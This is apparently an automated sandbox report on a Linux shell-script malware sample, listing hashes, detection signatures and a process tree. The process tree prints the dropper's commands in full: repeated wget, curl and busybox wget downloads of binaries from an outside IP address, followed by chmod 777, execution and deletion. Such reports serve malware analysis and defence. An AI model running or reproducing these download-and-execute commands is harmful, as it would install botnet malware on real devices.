Analysis
- max time kernel
17s - max time network
18s - platform
debian-9_armhf - resource
debian9-armhf-20240611-en - resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
08/11/2024, 01:57
Static task
static1
Behavioral task
behavioral1
Sample
d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
Resource
debian9-mipsel-20240418-en
General
- Target d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
- Size 10KB
- Sample241108-cdnyys1rfv
- SHA256 d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982
- MD5 fa4dbb1430d89cfe91017326f4db49b1
- SHA1 7d47c3c5edca38d91b76e48df8b267bcba1fa89f
- SHA512 771ba2a17fd0e9c475bcebeef445ed17d83bd9baf2d8eca3c0094ade3e1993a32203f0a00fc9f941cdf6c5b82d63379ada249c9bc6a8de3c577261a7b8c55462
- SSDEEP 96:zpmKXwQfHdbXbvbabDbXboM/iG28q63iyfLHHXmpbXbvbabDbXbeM9NNSiG28q6b:zpmKXwQfHzDkisLBkmKXwQh
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 791 chmod 815 chmod 829 chmod 743 chmod 696 chmod 723 chmod 759 chmod 784 chmod 797 chmod 803 chmod 809 chmod 680 chmod 821 chmod - Executes dropped EXE 13 IoCs
ioc pid Process /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L 681 wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L /tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj 698 gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj /tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1 724 RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1 /tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz 744 GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz /tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ 760 EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ /tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu 785 dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu /tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1 792 nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1 /tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc 798 ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc /tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi 804 J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi /tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd 810 WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd /tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf 816 aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf /tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO 822 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO /tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7 830 MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7 - Checks CPU configuration 1 TTPs 13 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl - Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7 curl File opened for modification /tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj curl File opened for modification /tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz curl File opened for modification /tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1 curl File opened for modification /tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi curl File opened for modification /tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf curl File opened for modification /tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd curl File opened for modification /tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO curl File opened for modification /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L curl File opened for modification /tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1 curl File opened for modification /tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ curl File opened for modification /tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu curl File opened for modification /tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc curl
Processes
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/tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh/tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh1⤵PID:647
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/bin/rm/bin/rm bins.sh2⤵PID:649
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/usr/bin/wgetwget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L2⤵PID:651
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/usr/bin/curlcurl -O http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:670
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L2⤵PID:678
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/bin/chmodchmod 777 wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L2⤵
- File and Directory Permissions Modification
PID:680
-
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/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L./wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L2⤵
- Executes dropped EXE
PID:681
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/bin/rmrm wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L2⤵PID:682
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/usr/bin/wgetwget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj2⤵PID:683
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/usr/bin/curlcurl -O http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:684
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj2⤵PID:691
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/bin/chmodchmod 777 gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj2⤵
- File and Directory Permissions Modification
PID:696
-
-
/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj./gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj2⤵
- Executes dropped EXE
PID:698
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/bin/rmrm gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj2⤵PID:699
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/usr/bin/wgetwget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ12⤵PID:701
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/usr/bin/curlcurl -O http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ12⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:710
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ12⤵PID:717
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/bin/chmodchmod 777 RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ12⤵
- File and Directory Permissions Modification
PID:723
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/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1./RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ12⤵
- Executes dropped EXE
PID:724
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/bin/rmrm RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ12⤵PID:726
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/usr/bin/wgetwget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz2⤵PID:727
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/usr/bin/curlcurl -O http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:736
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz2⤵PID:742
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/bin/chmodchmod 777 GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz2⤵
- File and Directory Permissions Modification
PID:743
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/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz./GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz2⤵
- Executes dropped EXE
PID:744
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/bin/rmrm GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz2⤵PID:745
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/usr/bin/wgetwget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ2⤵PID:746
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/usr/bin/curlcurl -O http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:747
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ2⤵PID:754
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/bin/chmodchmod 777 EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ2⤵
- File and Directory Permissions Modification
PID:759
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/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ./EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ2⤵
- Executes dropped EXE
PID:760
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/bin/rmrm EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ2⤵PID:761
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/usr/bin/wgetwget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu2⤵PID:763
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/usr/bin/curlcurl -O http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:771
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu2⤵PID:778
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/bin/chmodchmod 777 dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu2⤵
- File and Directory Permissions Modification
PID:784
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/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu./dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu2⤵
- Executes dropped EXE
PID:785
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/bin/rmrm dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu2⤵PID:787
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/usr/bin/wgetwget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar12⤵PID:788
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/usr/bin/curlcurl -O http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar12⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:789
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar12⤵PID:790
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/bin/chmodchmod 777 nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar12⤵
- File and Directory Permissions Modification
PID:791
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/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1./nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar12⤵
- Executes dropped EXE
PID:792
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/bin/rmrm nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar12⤵PID:793
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/usr/bin/wgetwget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc2⤵PID:794
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/usr/bin/curlcurl -O http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:795
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc2⤵PID:796
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/bin/chmodchmod 777 ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc2⤵
- File and Directory Permissions Modification
PID:797
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/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc./ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc2⤵
- Executes dropped EXE
PID:798
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/bin/rmrm ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc2⤵PID:799
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/usr/bin/wgetwget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi2⤵PID:800
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/usr/bin/curlcurl -O http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:801
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi2⤵PID:802
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/bin/chmodchmod 777 J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi2⤵
- File and Directory Permissions Modification
PID:803
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/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi./J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi2⤵
- Executes dropped EXE
PID:804
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/bin/rmrm J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi2⤵PID:805
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/usr/bin/wgetwget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd2⤵PID:806
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/usr/bin/curlcurl -O http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:807
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd2⤵PID:808
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/bin/chmodchmod 777 WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd2⤵
- File and Directory Permissions Modification
PID:809
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/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd./WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd2⤵
- Executes dropped EXE
PID:810
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/bin/rmrm WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd2⤵PID:811
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/usr/bin/wgetwget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf2⤵PID:812
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/usr/bin/curlcurl -O http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:813
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf2⤵PID:814
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/bin/chmodchmod 777 aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf2⤵
- File and Directory Permissions Modification
PID:815
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/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf./aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf2⤵
- Executes dropped EXE
PID:816
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/bin/rmrm aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf2⤵PID:817
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/usr/bin/wgetwget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO2⤵PID:818
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/usr/bin/curlcurl -O http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:819
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO2⤵PID:820
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/bin/chmodchmod 777 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO2⤵
- File and Directory Permissions Modification
PID:821
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/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO./0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO2⤵
- Executes dropped EXE
PID:822
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/bin/rmrm 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO2⤵PID:823
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/usr/bin/wgetwget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx72⤵PID:824
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/usr/bin/curlcurl -O http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:825
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx72⤵PID:827
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/bin/chmodchmod 777 MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx72⤵
- File and Directory Permissions Modification
PID:829
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/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7./MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx72⤵
- Executes dropped EXE
PID:830
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/bin/rmrm MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx72⤵PID:831
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/usr/bin/wgetwget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u8402⤵PID:832
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
- Size 153B
- SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
- MD5 998368d7c95ea4293237f2320546e440
- SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
- SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
- MD5 SHA1 SHA512